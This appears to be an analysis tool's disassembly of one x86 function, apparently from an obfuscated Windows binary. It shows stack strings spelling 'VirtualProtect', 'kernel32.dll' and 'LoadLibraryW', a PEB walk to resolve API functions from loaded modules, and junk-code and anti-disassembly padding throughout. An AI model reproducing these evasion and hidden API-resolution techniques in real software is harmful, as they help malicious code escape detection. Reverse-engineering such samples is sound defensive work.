Function at 0x4066d7
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x406646
pop edx
cmp dword [ebp - 0x3e8], 0
je 0x406659
cmp dword [ebp - 0xab8], 0
jne 0x40669f
push ecx
push ecx
add esp, 4
add ecx, 0x14cc0
add ecx, 0x684
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0xc745
jmp 0x40667c
or ecx, 0x1540d
pop ecx
push eax
sub eax, 0xaa3c
pop eax
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x1990], edx
push 0
call dword [ebp - 0x1990]
mov dword [ebp - 0x20a8], 0xa
push edx
push edx
add esp, 4
call 0x4066bc
add byte [edi + 0x4c], cl
xor eax, 0x46344c4f
inc esp
add esp, 4
jmp 0x4066c5
xor edx, 0x3d01
call 0x4066d7
add byte [edi + 0x37], cl
xor edi, dword [0xc4833c37]
add al, 0x5a
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push edi
sub edi, 0xfef1
or edi, 0xc277
or edi, 0x1261
pop edi
push ecx
push esi
add esp, 4
sub ecx, 0x109fb
sub ecx, 0x2b65
and ecx, 0x108b9
xor ecx, 0x1073f
pop ecx
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push eax
xor eax, 0x114e4
sub eax, 0xc610
and eax, 0xb12c
or eax, 0xa122
pop eax
push ecx
push edx
add esp, 4
xor ecx, 0x1053
sub ecx, 0x137be
xor ecx, 0x3e44
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x1998]
mov dword [ebp - 0x1614], eax
push edx
jmp 0x406801
pop edx
push ebx
push eax
add esp, 4
add ebx, 0x10c6c
pop ebx
push esi
push eax
add esp, 4
and esi, 0x15214
sub esi, 0x7e56
and esi, 0x69fc
and esi, 0x6276
pop esi
cmp dword [ebp - 0x1614], 0
jne 0x406844
mov dword [ebp - 0x2fc], 0
jmp 0x406aeb
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push edi
push edi
add esp, 4
and edi, 0xc467
xor edi, 0x3b7
add edi, 0x16b94
pop edi
push eax
and eax, 0xa3cd
and eax, 0x13a23
add eax, 0xcc32
sub eax, 0x6b6f
pop eax
cmp dword [ebp - 0xcc4], 0
jne 0x4068a0
mov dword [ebp - 0x2fc], 0
jmp 0x406aeb
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push edx
push ebx
add esp, 4
or edx, 0x14068
add edx, 0xbbf5
pop edx
push eax
xor eax, 0x10823
xor eax, 0x16301
pop eax
push edi
push eax
add esp, 4
or edi, 0x5fb8
add edi, 0x17e4
pop edi
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ebx
jmp 0x406911
and ebx, 0xe4af
xor ebx, 0x9b8c
jmp 0x406926
pop ebx
push ebx
push edi
add esp, 4
and ebx, 0x9ff0
jmp 0x406939
pop ebx
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push esi
push esi
add esp, 4
jmp 0x40699c
or esi, 0x9e2a
pop esi
push esi
push esi
add esp, 4
and esi, 0x1487e
sub esi, 0x343b
pop esi
push ecx
or ecx, 0x1740c
jmp 0x4069c2
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4069e0
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x161c], ecx
jmp 0x406a3a
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x406908
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x406908
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x406a24
mov dword [ebp - 0x1618], 0xffffffff
jmp 0x406a2e
mov dword [ebp - 0x1618], 1
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x161c], eax
cmp dword [ebp - 0x161c], 0
jne 0x406a83
push esi
push ebx
add esp, 4
or esi, 0x3794
pop esi
push edi
add edi, 0xe0ae
and edi, 0xaab7
pop edi
push ebx
push edx
add esp, 4
call 0x406a71
add byte [esi], dh
cmp byte [ecx], bh
cmp eax, dword [eax + 0x4b]
dec edx
dec ebp
xor al, byte [ebx - 0x74a4fb3c]
invalid
push esi
push ecx
add esp, 4
or esi, 0x8bd4
and esi, 0xce98
sub esi, 0x121a7
pop esi
push eax
add eax, 0x1633
and eax, 0x179c1
or eax, 0x530a
and eax, 0xb504
pop eax
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x406ae1
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x4068ac
mov dword [ebp - 0x2fc], 0
push edi
push edi
add esp, 4
xor edi, 0x17e44
or edi, 0x16f2a
and edi, 0x10188
pop edi
push ebx
sub ebx, 0x3eb3
or ebx, 0x157fa
add ebx, 0xe97f
add ebx, 0x13e07
pop ebx
cmp dword [ebp - 0x2fc], 0
jne 0x407422
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push ebx
push edi
add esp, 4
xor ebx, 0x171b
or ebx, 0x11c0c
and ebx, 0x534b
pop ebx
push edx
or edx, 0x17b6f
xor edx, 0xcd92
add edx, 0xb8c1
or edx, 0xed5b
pop edx
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x199c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov dword [ebp - 0x1620], ecx
push ebx
sub ebx, 0x8293
pop ebx
push eax
push esi
add esp, 4
and eax, 0x9c7c
xor eax, 0x9d40
call 0x406ca0
add byte [ecx + 0x4b], cl
aaa
push eax
cmp eax, 0x4d4a433c
add esp, 4
add eax, 0x1876
pop eax
cmp dword [ebp - 0x1620], 0
jne 0x406cc2
mov dword [ebp - 0x774], 0
jmp 0x406f69
mov edx, dword [ebp - 0x1620]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push edi
push ebx
add esp, 4
call 0x406ce7
add byte [esi + 0x40], cl
inc edx
inc eax
inc edi
cmp al, byte [edx - 0x7d]
les eax, [ecx + eax*4]
iretd
push ecx
sub ecx, 0xa672
pop ecx
push edi
push ecx
add esp, 4
or edi, 0x6d4b
sub edi, 0xf351
sub edi, 0x75d0
xor edi, 0x132e2
pop edi
push ecx
push eax
add esp, 4
xor ecx, 0xd985
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x167c], ecx
push eax
push ecx
add esp, 4
jmp 0x407489
and eax, 0x145ae
sub eax, 0x50e6
pop eax
push esi
push edi
add esp, 4
or esi, 0xeef3
xor esi, 0x12df6
sub esi, 0x9a4b
pop esi
cmp dword [ebp - 0x167c], 0
jne 0x4074c6
mov dword [ebp - 0x2fc], 0
jmp 0x40776d
mov edx, dword [ebp - 0x167c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push ecx
push esi
add esp, 4
xor ecx, 0xace6
or ecx, 0x17e74
pop ecx
push eax
call 0x4074fa
add byte [ebp + 0x3d], al
inc esi
inc esi
cmp byte [eax], bh
inc edi
inc edx
add esp, 4
pop eax
push ebx
push edi
add esp, 4
or ebx, 0x10f55
pop ebx
cmp dword [ebp - 0xce0], 0
jne 0x407522
mov dword [ebp - 0x2fc], 0
jmp 0x40776d
mov edx, dword [ebp - 0xce0]
mov dword [ebp - 0x51c], edx